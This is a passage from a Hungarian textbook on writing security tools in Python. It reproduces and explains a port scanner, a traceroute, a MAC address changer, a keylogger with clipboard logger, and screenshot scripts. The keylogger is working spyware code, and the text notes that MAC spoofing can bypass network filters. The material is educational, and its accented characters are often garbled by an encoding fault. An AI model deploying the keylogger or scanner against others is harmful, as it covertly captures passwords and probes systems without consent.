egyszerŤ szkennerekkel, amelyek §ltal§ban csak egyetlen IP-címen dolgoznak. Így nagyobb 

rugalmasságot biztosítanak, és segítenek a rejtett vagy részben korlátozott hálózati hozzáférések 

feltérképezésében, amit az UDP-protokoll kezelése különösen kihívásossá tesz. 

https://github.com/drakeloud/pythonScanner 

  1. #!/usr/bin/python  
  2. from  __future__ import  print_function  
  3.   
  4. import  argparse  
  5. import  os 
  6. import  socket  
  7. import  sys  
  8. from  datetime import  datetime  
  9.   
 10. from  netaddr import  IPNetwork  
 11.   
 12. # Set up argparse  
 13. parser = argparse . ArgumentParser ()  
 14. parser . add_argument ( "hosts" )  
 15. parser . add_argument ( "ports" )  
 16. parser . add_argument ( " - u" ,  " -- UDP",  help ="Perform a UDP scan on the ports specified" ,  
action ="store_true" )  
 17. parser . add_argument ( " - t" ,  " -- traceroute" ,  help ="Use traceroute with the scan" ,  
action ="store_true" )  
 18. args = vars ( parser . parse_args ())  
 19.   
 20. # Start timer! woo hoo!  
 21. timeOne = datetime . now()  
 22.   
 23. # Clean the ports that you received  
 24. portsUgly = args [ 'ports' ]  
 25. ports = portsUgly . split ( "," )  
 26. UDP = args [ 'UDP' ]  
 27. hostValue = args [ 'hosts' ]  
 28. hosts = []  
 29.   
 30.   
 31. def  clear_screen ():  
 32.     """  

https://github.com/drakeloud/pythonScanner
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 33.     Clear screen that handle multiple OS.  
 34.     """  
 35.     if  os. name == 'nt' :  
 36.         os. system( 'cls' )  
 37.     else :  
 38.         os. system( 'clear' )  
 39.   
 40.   
 41. def  scan_ports ( host ):  
 42.     """  
 43.     Function to get the ports for every host  
 44.     """  
 45.     try :  
 46.         for  port in  ports :  
 47.             # Goes through each port in range  
 48.             port = int ( port )  
 49.             # Here's the scan of the port  
 50.             if  UDP:  
 51.                 sock = socket . socket ( socket . AF_INET,  socket . SOCK_DGRAM)  
 52.             else :  
 53.                 sock = socket . socket ( socket . AF_INET,  socket . SOCK_STREAM)  
 54.   
 55.             result = sock . connect_ex (( host ,  port ))  
 56.   
 57.             if  UDP:  
 58.                 if  result == 0:  
 59.                     print ( "UDP Port {}: \ t Open" . format ( port ))  
 60.             else :  
 61.                 if  result == 0:  
 62.                     print ( "TCP Port {}: \ t Open" . format ( port ))  
 63.             sock . close ()  
 64.   
 65.     # Error handling if something goes bad  
 66.     except  socket . gaierror :  
 67.         print ( 'Couldnt find hostname. The hostname may be invalid or incorrect.' )  
 68.         sys . exit ()  
 69.     except  socket . error :  
 70.         print ( 'Bad connection to server. Try again later.' )  
 71.         sys . exit ()  
 72.     except  KeyboardInterrupt :  
 73.         print ( 'Bye..' )  
 74.         sys . exit ()  
 75.   
 76.   
 77. if  __name__ == '__main__' :  
 78.     clear_screen ()  
 79.     print ( "*************************************************************************" )  
 80.     print ( "                    Scanning hosts, please wait..." )  
 81.     print ( "*************************************************************************" )  
 82.     print ( "" )  
 83.     print ( "User entered ports: " ,  portsUgly )  
 84.     print ( "" )  
 85.     print ( "User entered hosts: " ,  hostValue )  
 86.     print ( "" )  
 87.     if  UDP:  
 88.         print ( "Currently Scanning UDP ports..." )  
 89.     else :  
 90.         print ( "Currently Scanning TCP ports..." )  
 91.     print ( "" )  
 92.   
 93.     # Get Hosts Values  
 94.     if  "/"  in  hostValue :  
 95.         ip = IPNetwork ( hostValue )  
 96.         ip_list = list ( ip )  
 97.   
 98.         for  ip in  IPNetwork ( hostValue ). iter_hosts ():  
 99.             hosts . append( '%s'  % ip )  
100.   
101.     else :  
102.         hosts . append( hostValue )  
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103.   
104.     print ( " ---------------- RESULTS---------------- " )  
105.     for  host in  hosts :  
106.         print ( "Scanning host: " ,  host )  
107.         scan_ports ( host )  
108.         print ( "" )  
109.   
110.     timeTwo = datetime . now()  
111.   
112.     finalTime = timeTwo -  timeOne 
113.     print ( "Scan finished in the following time: " ,  finalTime )  
114.     print ( "*************************************************************************" )  
115.     print ( "                Hosts Scanned. Finishing up... ( - . - )Zzz..." )  
116.     print ( "*************************************************************************" )  

 

Kód részletes elemzése 

Könyvtárak importálása: 

argparse: parancssori argumentumok kezel®s®hez sz¿ks®ges, lehetŖv® teszi a felhaszn§l·nak, hogy 

paramétereket adjon meg (pl. host, port). 

os, socket, sys: rendszerf¿ggŖ funkciók, hálózati kommunikáció, és rendszerhiba kezeléséhez 

szükségesek. 

datetime: idŖb®lyeg rögzítéséhez, hogy mérjük a szkennel®s idŖtartam§t. 

netaddr.IPNetwork: lehetŖv® teszi, hogy egy IP-tartományt IP-hálózat formájában adjon meg, például 

"192.168.1.0/24". 

Argumentumok beállítása argparse használatával: 

1. parser = argparse . ArgumentParser ()  
2. parser . add_argument ( "hosts" )  
3. parser . add_argument ( "ports" )  
4. parser . add_argument ( " - u" ,  " -- UDP",  help ="Perform a UDP scan on the ports specified" ,  
action ="store_true" )  
5. parser . add_argument ( " - t" ,  " -- traceroute" ,  help ="Use traceroute with the scan" ,  
action ="store_true" )  
6. args = vars ( parser . parse_args ())  

Az argparse seg²ts®g®vel az alkalmaz§s elfogadja a kºvetkezŖ parancssori argumentumokat: 

hosts: egy vagy több IP-cím vagy IP-tartomány, amit szkennelni szeretnénk. 

ports: a szkennelendŖ portok felsorol§sa, vesszŖvel elv§lasztva. 

-u, --UDP: ha megadjuk, a szkenner UDP-protokollt fog használni. 

-t, --traceroute: lehetŖs®g a traceroute futtatására, bár a kódban nincs teljes mértékben implementálva. 

IdŖz²t®s be§ll²t§sa: a program az aktu§lis idŖt menti timeOne v§ltoz·ba, hogy a szkennel®s teljes 

idŖtartam§t m®rje. 

Portlista tisztítása: a portsUgly v§ltoz·ban kapott portlista vesszŖk ment®n val· sz®tbont§sa, ami az 

egyes portokat külön listaelemmé alakítja a split() függvénnyel. 

K®pernyŖ tºrl®se: a clear_screen f¿ggv®ny platformf¿ggetlen k®pernyŖtºrl®st v®gez, amely a 

k¿lºnbºzŖ oper§ci·s rendszereknek megfelelŖen haszn§lja a cls vagy clear parancsot. 

Portszkennelés scan_ports függvénnyel: 

A  scan_ports(host)  a függvény végzi a szkennelést minden megadott porton az adott hostnál: 
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A portokat egyesével szkenneljük a TCP vagy UDP protokoll használatával. A kiválasztott protokollnak 

megfelelŖen inicializ§lja a socketet (AF_INET az IPv4-re és SOCK_STREAM a TCP-re, 

SOCK_DGRAM az UDP-re). 

A connect_ex met·dust alkalmazza, amely 0 ®rt®ket ad vissza, ha a port el®rhetŖ (nyitott). Ennek alapj§n 

nyomtatja ki, hogy a port nyitva van-e. 

Hibakezelés: A függvény különféle hibákat kezel (pl. socket.gaierror, ha a hosztnév nem található, vagy 

socket.error a kapcsolódási hibák esetén). 

FŖ program: 

K®pernyŖ tºrl®se ®s ¿zenetek ki²r§sa**: Tºrli a k®pernyŖt ®s egy ASCII-mintával készített üzenetet 

jelen²t meg a szkennel®s megkezd®se elŖtt. 

IP-tartomány feldolgozása: Ha a felhasználó egy IP-tartományt ad meg CIDR-notációban (pl. 

192.168.1.0/24), a netaddr.IPNetwork és iter_hosts() segítségével elkészíti a megadott IP-tartományt 

tartalmazó lista értékeit. 

Szkennelés indítása minden hostra: az összes megadott hosztot és portot végigszkenneli, és a scan_ports 

függvényt hívja meg minden IP-címre. 

IdŖz²t®s kisz§m²t§sa: a program v®g®n kisz§m²tja a szkennel®s idej®t a kezdeti ®s v®gidŖ k¿lºnbs®g®vel, 

majd ki²rja az idŖtartamot. 

Hibakezelés 

A kód többféle hibakezelési módot alkalmaz: 

Hostnév feloldási hiba (socket.gaierror): értesíti a felhasználót, ha a hoszt érvénytelen. 

Kapcsolódási hiba (socket.error): ha a szerver nem válaszol, hibaüzenetet ad vissza. 

Megszakítás kezelése (KeyboardInterrupt): ha a felhasználó megszakítja a programot, üzenetet jelenít 

meg és bezárja az alkalmazást. 

Megjegyzések és javaslatok 

Traceroute opció: bár a parancssorban el®rhetŖ, a traceroute nincs t®nylegesen megval·s²tva. 

A traceroute funkci· implement§l§s§hoz Pythonban haszn§lhatjuk a socket kºnyvt§rat, amely lehetŖv® 

teszi a TTL (Time-To-Live) be§ll²t§s§t, vagy haszn§lhatjuk a scapy kºnyvt§rat, amely egyszerŤs²ti a 

hálózati csomagok kezelését és a traceroute folyamatát. Itt bemutatom mindkét módszert. 

1. Traceroute implementálása a socket könyvtárral 

A TTL beállításával minden lépésnél növeljük annak értékét, és figyeljük, hogy a csomag melyik 

¼tvonalon halad a c®l§llom§s fel®. Minden hopn§l ellenŖrizz¿k, hogy el®rj¿k-e a célpontot. 

 1. import  socket  
 2. import  time  
 3.   
 4. def  traceroute ( target ,  max_hops=30,  timeout =2):  
 5.     print ( f "Traceroute to {target}" )  
 6.     for  ttl in  range ( 1,  max_hops + 1):  
 7.         with  socket . socket ( socket . AF_INET,  socket . SOCK_RAW,  socket . IPPROTO_ICMP)  as 
recv_socket ,  \  
 8.              socket . socket ( socket . AF_INET,  socket . SOCK_DGRAM,  socket . IPPROTO_UDP)  as 
send_socket :  
 9.   
10.             recv_socket . settimeout ( timeout )  
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11.             recv_socket . bind (( "" ,  33434))  
12.             send_socket . setsockopt ( socket . SOL_IP,  socket . IP_TTL,  ttl )  
13.   
14.             start_time = time . time ()  
15.             send_socket . sendto ( b'' ,  ( target ,  33434))  
16.   
17.             try :  
18.                 _,  curr_addr = recv_socket . recvfrom ( 512)  
19.                 curr_addr = curr_addr [ 0]  
20.                 time_taken = ( time . time ()  -  start_time )  *  1000 
21.                 print ( f "{ttl} \ t{curr_addr} \ t{round(time_taken, 2)} ms" )  
22.                  
23.                 if  curr_addr == target :  
24.                     print ( "Traceroute complete." )  
25.                     break  
26.             except  socket . timeout :  
27.                 print ( f "{ttl} \ t* \ tRequest timed out." )  
28.             except  KeyboardInterrupt :  
29.                 print ( "Traceroute aborted." )  
30.                 break  
31.   

HÁLÓZATI KÁRTYA FIZIKAI CÍMÉNEK MEGVÁLTOZTATÁSA LINUXON 

A hálózati kártya fizikai címének (MAC-címének) megváltoztatása Linuxon számos célra szolgál, 

k¿lºnºsen adatv®delem, h§l·zati hozz§f®r®s ®s speci§lis h§l·zati mŤveletek szempontj§b·l. ElŖszºr is, 

a MAC-cím módosítása fokozza az anonimitást és az adatvédelmet, mivel ez az egyedi azonosító 

lehetŖv® teszi a h§l·zatok sz§m§ra az eszkºzºk kºvet®s®t. Ha egy felhaszn§l· gyakran v§ltoztatja meg 

MAC-c²m®t, kev®sb® lesz egy®rtelmŤen nyomon kºvethetŖ, ami k¿lºnºsen hasznos nyilv§nos 

hálózatokon, ahol a hálózati aktivitás nem kívánt rögzítését szeretnék elkerülni. 

A MAC-cím módosítása hozzáférési korlátozások megkerülésére is alkalmazható. Sok hálózat MAC-

c²m alap¼ szŤr®st haszn§l, ami azt jelenti, hogy csak elŖre j·v§hagyott eszkºzºket engednek a h§l·zatra. 

A MAC-cím megváltoztatása így hozzáférést biztosíthat ezekhez a hálózatokhoz, bár ezt a módszert 

kºr¿ltekintŖen kell alkalmazni, mert jogi kºvetkezm®nyekkel j§rhat jogosulatlan h§l·zathoz val· 

csatlakozás. 

A hálózati hibakeresés és tesztelés során is hasznos lehet a MAC-cím módosítása, hiszen a 

rendszergazd§k ²gy k¿lºnf®le szcen§ri·kat szimul§lhatnak. Ezzel p®ld§ul tesztelhetik a h§l·zati szŤrŖk 

mŤkºd®s®t, a hozz§f®r®s-szabályozási beállításokat, és különféle eszközcsoportra vonatkozó 

szabályokat, hogy megfigyeljék a hálózati forgalom viselkedését. 

A MAC-cím megváltoztatása DHCP-alapú hálózatokon IP-cím újrakiosztására is alkalmazható, mivel 

a DHCP rendszer gyakran a MAC-cím alapján oszt ki IP-címeket. Ha a felhasználó megváltoztatja az 

eszköz MAC-címét, új IP-címet kaphat, ami hasznos lehet a hálózati hibaelhárításban, vagy olyan 

esetekben, amikor az eszköz új IP-címre van szüksége. 

https://github.com/rajan98/macky 

 1. import  subprocess  
 2. import  argparse  
 3. import  re  
 4.   
 5.   
 6. def  find_mac ( interface ):  
 7.     try :  
 8.         result = subprocess . check_output ([ 'ifconfig' ,  interface ])  
 9.     except :  
10.         print ( '[ - ] Device Not found' )  
11.         exit ()  
12.     all_mac = re . search ( r " \ w\ w:\ w\ w:\ w\ w:\ w\ w:\ w\ w:\ w\ w",  str ( result ))  

https://github.com/rajan98/macky
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13.     if  not  all_mac :  
14.         return  None 
15.     return  all_mac . group ( 0)  
16.   
17.   
18. def  change_mac( interface ,  new_mac):  
19.     print ( '[+] Changing MAC of {0} to {1}' . format ( interface ,  new_mac))  
20.     oldMac = find_mac ( interface )  
21.     if  oldMac:  
22.         print ( 'old MAC: {0}' . format ( oldMac))  
23.         subprocess . call ([ 'ifconfig' ,  interface ,  'down' ])  
24.         subprocess . call ([ 'ifconfig' ,  interface ,  'hw' ,  'ether' ,  new_mac])  
25.         subprocess . call ([ 'ifconfig' ,  interface ,  'up' ])  
26.   
27.         newMac = find_mac ( interface )  
28.         if  newMac:  
29.             if  newMac == oldMac:  
30.                 print ( '[ - ] Unable to change the MAC address' )  
31.             else :  
32.                 print ( '[+] MAC address was changed Successfully to {0}' . format ( newMac))  
33.     else :  
34.         print ( '[ - ] Could not Find MAC address for specified interface' )  
35.   
36.   
37. def  main():  
38.     parser = argparse . ArgumentParser (  
39.         description ='This script is used to change the Mac address of any network card' ,  
40.         epilog = 'This is how you use this script'  
41.     )  
42.     parser . add_argument ( 'interface' ,  help ='Enter the name of the interface' )  
43.     parser . add_argument ( 'mac' ,  help ='Enter new MAC address' )  
44.   
45.     args = parser . parse_args ()  
46.   
47.     change_mac( args . interface ,  args . mac)  
48.   
49.   
50. if  __name__ == "__main__" :  
51.     main()  
52.   

Kód elemzése 

A fenti Python k·d egy egyszerŤ MAC-cím változtató eszköz, amely Linux rendszereken fut. A 

program a felhasználótól kapott hálózati interfész nevét és új MAC-címet használja, és az interfész 

MAC-címét megváltoztatja a kívánt értékre. Az eszköz subprocess modulon keresztül 

rendszerparancsokat hajt végre az ifconfig parancs segítségével. 

Importálások:  

subprocess: k¿lsŖ parancsok futtatására használják, jelen esetben az ifconfig parancsot hívja meg. 

argparse: parancssori argumentumok kezel®s®re haszn§lj§k, hogy a felhaszn§l· egyszerŤen megadhassa 

az interfészt és az új MAC-címet. 

re: reguláris kifejezések támogatására, amelyet a MAC-címek mintáinak felismerésére használnak. 

find_mac függvény: 

A find_mac függvény az adott hálózati interfész aktuális MAC-címét keresi meg. 

subprocess.check_output(['ifconfig', interface]) parancsot használ az ifconfig kimenetének 

lekérdezésére, majd regex segítségével keresi ki a MAC-címet. 

Ha az interf®sz nem tal§lhat· vagy hib§t ad vissza, a kiv®telkezelŖ ¿zenetet jelen²t meg: "Device Not 

found" és kilép a programból. 
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A regex mintával (r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w") megtal§lja az elsŖ MAC-címet a kimenetben, 

majd visszaadja. 

change_mac függvény: 

 

A change_mac függvény megkapja az interfész nevét és az új MAC-címet, majd a MAC-cím 

megváltoztatásáért felel. 

Kiírja, hogy melyik interfész MAC-címét fogja megváltoztatni. 

Meghívja a find_mac függvényt az aktuális (régi) MAC-cím lekérdezésére, és kiírja az aktuális MAC-

címet. 

Az interfészt leállítja az ifconfig [interface] down paranccsal, beállítja az új MAC-címet az ifconfig 

[interface] hw ether [new_mac] paranccsal, majd újraindítja az interfészt az ifconfig [interface] up 

paranccsal. 

Ezt kºvetŖen ism®t lek®ri az aktu§lis MAC-c²met, ®s ellenŖrzi, hogy az ¼j MAC-cím sikeresen 

beállításra került-e. Ha a MAC-cím nem változott, a program kiírja, hogy nem sikerült a cím 

megv§ltoztat§sa, ellenkezŖ esetben jelzi a sikeres m·dos²t§st. 

main függvény: 

Az argparse modult használja a parancssori argumentumok feldolgozására. A 

parser.add_argument('interface') beállítja az interfész nevét, míg a parser.add_argument('mac') az új 

MAC-címet kéri. 

Az args változó a parancssori argumentumokat tartalmazza, amelyeket a change_mac függvénynek ad 

át a MAC-cím változtatására. 

FŖprogram szakasz: 

A main() függvényt akkor hívja meg, amikor a szkript közvetlenül futtatva van (if __name__ == 

"__main__":). 

A felhasználó megadja az interfész nevét és az új MAC-címet, és a program ezt az információt használja 

a MAC-cím változtatására. 

Megjegyzések 

Ez a program megváltoztatja a MAC-c²met, de csak akkor mŤkºdik, ha a felhaszn§l·nak rendszergazdai 

jogosultságai vannak. Ez azért fontos, mert az interfészek MAC-címének módosítása adminisztrátori 

jogosultságokat igényel. Az eszköz különféle hibakezelési lehetŖs®geket tartalmaz, p®ld§ul ellenŖrzi, 

hogy a megadott interfész létezik-e, illetve hogy a MAC-cím módosítása sikerült-e. 
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KEYLOGGER  

A keylogger egy olyan szoftver vagy hardvereszkºz, amely a felhaszn§l· §ltal be²rt billentyŤle¿t®seket 

rögzíti, általában a felhasználó tudta nélkül. Célja, hogy érzékeny adatokat, például jelszavakat, banki 

adatokat vagy felhaszn§l·neveket gyŤjtsºn be, melyeket k®sŖbb a t§mad· felhaszn§lhat vagy 

tov§bb²that egy k¿lsŖ szerverre. A keylogger program a h§tt®rben fut, ®s minden billentyŤle¿t®st napl·z 

egy fájlba, vagy titokban továbbítja azokat, így a felhasználó nincs tisztában a jelenlétével. 

Hardveres form§ban a keylogger egy olyan eszkºz, amely a billentyŤzet ®s a sz§m²t·g®p kºz® 

csatlakozik, vagy kºzvetlen¿l a billentyŤzetbe van be®p²tve, ®s rºgz²ti az adatokat, f¿ggetlen¿l a 

sz§m²t·g®ptŖl. Az ilyen eszkºzºket sokszor haszn§lj§k rosszindulat¼ c®lokra, mivel lehetŖv® teszik a 

felhaszn§l·k szem®lyes adatainak titkos megfigyel®s®t ®s eltulajdon²t§s§t, de l®teznek olyan jogszerŤ 

felhaszn§l§si m·dok is, p®ld§ul sz¿lŖi fel¿gyelet vagy munkafel¿gyelet c®lj§b·l. 

. 

https://www.instructables.com/KeyClip-a-Keylogger-Clipboard-Logger-With-Python3-/ 

 1. from  pynput . keyboard import  Listener  
 2. from  pyperclip import  paste  
 3. import  logging  
 4. from  time import  sleep  
 5. import  threading  
 6.   
 7. logging . basicConfig ( filename ='KeyClip.log' ,  level =logging . INFO,  format ='%(asctime)s: 
%(message)s' )  
 8.   
 9. def  onPress ( key):  
10.     logging . info ( 'Key:  '  + str ( key))  
11.   
12. def  keyLogger ():  
13.     with  Listener ( on_press =onPress )  as l :  
14.         l . join ()  
15.          
16. def  clipLogger ():  
17.     prevClip = ''  
18.     while  True :  
19.         clip = paste ()  
20.         if  prevClip !=  clip :  
21.             logging . info ( 'Clip:  ' + clip )  
22.             prevClip = clip  
23.         sleep ( 0.2 )  
24.      
25. keyThread = threading . Thread( target =keyLogger )  
26. clipThread = threading . Thread( target =clipLogger )  
27.   
28. keyThread . start ()  
29. clipThread . start ()  

 

Kód elemzése 

Ez a Python k·d egy egyszerŤ keylogger ®s clipboard logger, amely a felhaszn§l· billentyŤle¿t®seit ®s 

a vágólap (clipboard) tartalmát rögzíti, majd ezeket az adatokat egy naplófájlba menti. A kód több szálat 

haszn§l, ²gy a billentyŤle¿t®seket ®s a v§g·lap v§ltoz§sait p§rhuzamosan tudja napl·zni. 

Köyvtárak importálása: 

pynput.keyboard: ez a kºnyvt§r lehetŖv® teszi a billentyŤle¿t®sek figyel®s®t, ²gy a program rºgz²teni 

tudja, amikor a felhaszn§l· billentyŤt nyom le. 

https://www.instructables.com/KeyClip-a-Keylogger-Clipboard-Logger-With-Python3-/
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pyperclip: ezzel a könyvtárral a program hozzáfér a vágólaphoz, és a paste() függvény segítségével 

lekérdezi a vágólap aktuális tartalmát. 

logging: a napl·z§s®rt felelŖs, amellyel az adatokat egy f§jlba, jelen esetben a "KeyClip.log" f§jlba 

menti. 

time.sleep és threading: a sz§lak kezel®s®hez haszn§latosak, amelyek lehetŖv® teszik, hogy a 

billentyŤle¿t®sek ®s a v§g·lap tartalm§nak napl·z§sa p§rhuzamosan tºrt®njen. 

Logolás beállítása: 

1. logging . basicConfig ( filename ='KeyClip.log' ,  level =logging . INFO,  format ='%(asctime)s: 
%(message)s' )  
2.   

A logging modul beállít egy naplózási konfigurációt, amely a naplózott üzeneteket a "KeyClip.log" 

f§jlba menti. Az ¿zenetek idŖb®lyeggel ®s ¿zenetszºveggel rendelkeznek, ami lehetŖv® teszi, hogy 

k®sŖbb visszakºvethetŖk legyenek. 

onPress függvény: 

1. def  onPress ( key):  
2.     logging . info ( 'Key:  '  + str ( key))  
3.   

Ez a f¿ggv®ny minden egyes billentyŤle¿t®sn®l megh²v·dik, ®s a lenyomott billentyŤt rºgz²ti a 

napl·f§jlba. Az onPress f¿ggv®ny konvert§lja a billentyŤt szºvegg®, ®s a "Key: " elŖtaggal menti. 

keyLogger függvény: 

1. def  keyLogger ():  
2.     with  Listener ( on_press =onPress )  as l :  
3.         l . join ()  
4.   

A keyLogger f¿ggv®ny l®trehoz egy Listener objektumot, amely figyeli a billentyŤle¿t®seket. Minden 

lenyomott billentyŤ az onPress f¿ggv®nyt h²vja meg. A l.join() m·dszer addig tartja futva a figyel®st, 

amíg a program le nem áll. 

clipLogger függvény: 

1. def  clipLogger ():  
2.     prevClip = ''  
3.     while  True :  
4.         clip = paste ()  
5.         if  prevClip !=  clip :  
6.             logging . info ( 'Clip:  '  + clip )  
7.             prevClip = clip  
8.         sleep ( 0.2 )  
9.   

Ez a függvény folyamatosan figyeli a vágólap tartalmát. Az paste() függvény segítségével lekérdezi a 

v§g·lap aktu§lis tartalm§t, ®s ha a tartalom elt®r az elŖzŖleg tárolttól, akkor naplózza a változást, és 

frissíti a prevClip változót. Ez a folyamat 0,2 másodperces késleltetéssel fut, hogy csökkentse az 

erŖforr§sig®nyt ®s elker¿lje a t¼l gyakori lek®rdez®st. 

Szálak létrehozása és indítása: 

1. keyThread = threading . Thread( target =keyLogger )  
2. clipThread = threading . Thread( target =clipLogger )  
3.   
4. keyThread . start ()  
5. clipThread . start ()  
6.   
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A program k®t k¿lºn§ll· sz§lat hoz l®tre, amelyek lehetŖv® teszik, hogy a billentyŤle¿t®sek ®s a v§g·lap 

figyel®se p§rhuzamosan tºrt®njen. Az keyThread a billentyŤle¿t®seket figyeli a keyLogger f¿ggv®ny 

használatával, míg a clipThread a vágólap változásait figyeli a clipLogger függvény segítségével. 

Mindkét szál külön fut, így a két folyamat nem zavarja egymást. 

K£PERNYŕ R¥GZĉT£SE 1 

A k®pernyŖ rºgz²t®se a biztons§gi alkalmaz§sokban fontos szerepet j§tszik a felhaszn§l·i aktivit§s 

megfigyel®s®ben, vissza®l®sek azonos²t§s§ban, ®s bizony²t®kok gyŤjt®s®ben. Ez a funkci· k¿lºnf®le 

biztonsági célokat szolgálhat, például adatvédelem, incidenselemzés és jogosulatlan hozzáférés elleni 

védelem területén. ElŖszºr is, a k®pernyŖ rºgz²t®se hasznos lehet biztons§gi incidensek 

dokumentálásában és elemzésében. Ha egy rendszerben gyanús vagy szokatlan tevékenységet 

®szlelnek, a k®pernyŖfelv®telek ®s rºgz²tett vide·k pontosan megmutathatj§k, mi tºrt®nt, ki f®rhetett 

hozz§ a rendszerhez, ®s milyen mŤveleteket hajtottak v®gre. Ez seg²t a biztons§gi szakembereknek 

pontos képet kapni az esem®nyek menet®rŖl, ®s r®szletes inform§ci·kat ny¼jt, amelyeket 

felhaszn§lhatnak a sebezhetŖs®gek kijav²t§s§ra ®s a tov§bbi t§mad§sok megelŖz®s®re. A 

k®pernyŖrºgz²t®s emellett hasznos eszkºz lehet bel®p®si szab§lyok ®s protokollok betart§s§nak 

ellenŖrz®s®re olyan kºrnyezetekben, ahol szigor¼ biztons§gi elŖ²r§sok vannak ®rv®nyben. P®ld§ul 

pénzügyi intézményekben, kormányzati szerveknél vagy egészségügyi rendszerekben, ahol a bizalmas 

adatokhoz csak meghat§rozott jogosults§gokkal rendelkezŖ személyek férhetnek hozzá, a 

k®pernyŖrºgz²t®s ellenŖrzi, hogy az alkalmazottak ®s felhaszn§l·k betartj§k-e a hozzáférési szabályokat 

és eljárásokat. A k®pernyŖ rºgz²t®se akkor is hasznos lehet, amikor jogosulatlan hozz§f®r®st kell 

azonosítani vagy bizonyítani. Ha egy támadó hozzáférést szerez egy rendszeren belül, a rögzített 

k®pernyŖfelv®telek bizony²t®kk®nt szolg§lhatnak a jogi elj§r§sok sor§n, mivel pontosan mutatj§k, 

hogyan történt a hozzáférés, és milyen információkat érhetett el a támadó. Ez különösen fontos 

kiberbŤnºz®s elleni nyomoz§sokn§l, mivel a vizu§lis bizony²t®kok seg²tenek al§t§masztani a t§mad§sok 

tényét és hatásait. V®g¿l a k®pernyŖ rºgz²t®se oktat§si ®s biztons§gnºvel®si c®lokra is szolg§lhat, mivel 

lehetŖs®get ny¼jt a biztons§gi csapatoknak, hogy elemezzék a felhasználói tevékenységeket és jobb 

biztonsági megoldásokat dolgozzanak ki a szokásos felhasználói hibák és biztonsági résekkel 

kapcsolatos minták alapján. 

A k®pernyŖrºgz²t®s funkci· potenci§lis sebezhetŖs®get is jelenthet, mivel az ®rz®keny inform§ci·kat ®s 

a felhasználói tevékenységet rögzíti, amelyeket egy támadó rosszindulatú célokra használhat fel. Ha a 

k®pernyŖrºgz²tŖ funkci· nincs megfelelŖen biztos²tva, vagy illetéktelen személyek férhetnek hozzá, 

akkor ez komoly adatv®delmi ®s biztons§gi kock§zatokat hordozhat. A k®pernyŖrºgz²t®s sor§n 

begyŤjtºtt adatok ï például jelszavak, hitelkártyaadatok, személyes információk és munkahelyi 

dokumentumok ï mind célpontok lehetnek, ha egy támadó hozzáfér a rögzített tartalmakhoz. Az ilyen 

információk kiszivárgása veszélyeztetheti a személyes és vállalati adatokat, és jogi következményekkel 

járhat a személyes adatok védelmének megsértése miatt. Továbbá, ha egy rendszer sérülékeny vagy 

nem megfelelŖen biztos²tott, egy t§mad· kihaszn§lhatja a k®pernyŖrºgz²t®s funkci·t saj§t k®mked®si 

eszkºzk®nt, amely lehetŖv® teszi, hogy folyamatosan megfigyelje a felhaszn§l·i tev®kenys®get. Ez 

különösen kritikus kockázat olyan szervezetek esetében, ahol érzékeny vagy titkos információkat 

kezelnek.  

Tegyük fel, hogy a rosszindulat¼ k·d esetleg k®pernyŖk®pet szeretne k®sz²teni. A kºvetkezŖ k·d 

bemutatja, hogyan lehet ezt megvalósítani a pythonban. 

https://www.geeksforgeeks.org/how-to-take-screenshots-using-python/ 

pip install numpy  

pip install pyautogui  

pip install opencv - python  



BIZTONSÁGI ESZKÖZÖK FEJLESZTÉSE PYTHON NYELVEN  

 

 73 

 

 1. # Python program to take  
 2. # screenshots  
 3.   
 4.   
 5. import  numpy as np  
 6. import  cv2  
 7. import  pyautogui  
 8.   
 9.   
10. # take screenshot using pyautogui  
11. image = pyautogui . screenshot ()   
12.   
13. # since the pyautogui takes as a  
14. # PIL(pillow) and in RGB we need to  
15. # convert it to numpy array and BGR  
16. # so we can write it to the disk  
17. image = cv2. cvtColor ( np. array ( image),   
18.      cv2. COLOR_RGB2BGR)   
19.   
20. # writing it to the disk using opencv  
21. cv2. imwrite ( "image1.png" ,  image)   
22.   

 

Kód elemzése 

Könyvtárak importálása: 

numpy: a k®padatokat t§rol· tºmb kezel®s®re szolg§l, amelyet a k®pernyŖk®pekhez haszn§lnak, ®s a 

k®padatokat egyszerŤen §t tudja adni az OpenCV-nek. 

cv2 (OpenCV): a k®pfeldolgoz§si mŤveletek v®grehajt§s§hoz haszn§lj§k, p®ld§ul a k®pernyŖk®p 

konvertálására és tárolására. 

pyautogui: A k®pernyŖk®p k®sz²t®s®re szolg§l, ®s a k®pernyŖ aktu§lis §llapot§nak rºgz²t®s®re 

használják. 

K®pernyŖk®p k®sz²t®se: 

image = pyautogui.screenshot()  

A pyautogui.screenshot() f¿ggv®ny haszn§lat§val a k·d egy k®pernyŖk®pet k®sz²t a teljes k®pernyŖrŖl. 

A screenshot() függvény visszatérési értéke egy PIL (Pillow) képet ad vissza, amely RGB (vörös, zöld, 

kék) színformátumú. 

Színkonverzió és típuskonverzió: 

image = cv2.cvtColor(np.array(image), cv2.COLOR_RGB2BGR)  

Az OpenCV alapértelmezésben BGR (kék, zöld, vörös) színformátumot használ, így a cvtColor 

függvénnyel az RGB-t BGR formátumra konvertálja a képet. A np.array(image) segítségével a PIL 

képet NumPy tömbbe alakítja, amit az OpenCV tud kezelni. Ez a konverzió azért szükséges, mert a 

pyautogui.screenshot() visszatérési értéke nem közvetlenül használható az OpenCV-vel. 

Kép mentése a lemezre: 

cv2.imwrite("image1.png", image)  

A cv2.imwrite() f¿ggv®ny a konvert§lt k®pet Ăimage1.pngò n®ven menti a lemezre. Az imwrite 

függvény más formátumokat is támogat, például .jpg vagy .bmp, ha ezeket szeretnénk használni. 

K£PERNYŕ R¥GZĉT£SE 2 

https://www.geeksforgeeks.org/taking-screenshots-using-pyscreenshot-in-python 

https://www.geeksforgeeks.org/taking-screenshots-using-pyscreenshot-in-python
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pip install pyscreenshot  

 1. # Program to take screenshot  
 2.   
 3. import  pyscreenshot  
 4.   
 5. # To capture the screen  
 6. image = pyscreenshot . grab ()   
 7.   
 8. # To display the captured screenshot  
 9. image. show()   
10.   
11. # To save the screenshot  
12. image. save( "myscreenshot.png" )   
13.   

 

Kód részletes magyarázata 

Ez a Python k·d egy egyszerŤ program, amely k®pernyŖk®pet k®sz²t a teljes k®pernyŖrŖl, megjelen²ti 

azt, majd elmenti egy fájlba "myscreenshot.png" néven. A kód a pyscreenshot könyvtárat használja a 

k®pernyŖk®pek k®sz²t®s®hez ®s kezel®s®hez. 

Könyvtár importálása: 

 

pyscreenshot: Ez a kºnyvt§r a k®pernyŖ rºgz²t®s®®rt felel, lehetŖv® t®ve a k®pernyŖk®p k®sz²t®s®t a 

